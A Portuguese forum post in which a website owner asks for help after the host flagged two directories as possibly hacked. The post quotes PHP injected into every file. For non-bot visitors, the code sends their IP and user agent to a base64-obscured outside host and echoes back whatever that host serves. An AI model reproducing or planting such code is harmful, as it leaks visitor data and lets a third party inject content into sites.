Bom dia pessoal!
Gostaria de uma possivel ajuda de vcs.
O Host do scriptcase me informou que dentro de 2 diretorios meus estão com problemas e podem ter sido invadidos, são eles:
/home/wagnerbo/public_html/appwb/
/home/wagnerbo/public_html/scaseprod52/
E que em todos os arquivos dos diretórios em questão exite o conteúdo:
Em todos os arquivos dos diretórios em questão exite o conteúdo: <?php session_start(); ?><?php if (!isset($sRetry)) { global $sRetry; $sRetry = 1; // This code use for global bot statistic $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot $stCurlHandle = NULL; $stCurlLink = ""; if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&$ { if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics $stCurlLink = base64_decode( 'aHR0cDovL2hvdGxvZ3VwZGF0ZS5jb20vc3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTT$ $stCurlHandle = curl_init( $stCurlLink ); } } if ( $stCurlHandle !== NULL ) { curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1); $sResult = @curl_exec($stCurlHandle); if ($sResult[0]=="O") {$sResult[0]=" "; echo $sResult; // Statistic code end } curl_close($stCurlHandle); } }O qual o base64 aponta para hotlogupdate.com.
Não possuo mai este código aberto no scriptcase para mexer dentro do sistema.
O que posso fazer?
Agradeço desde já a ajuda de vcs.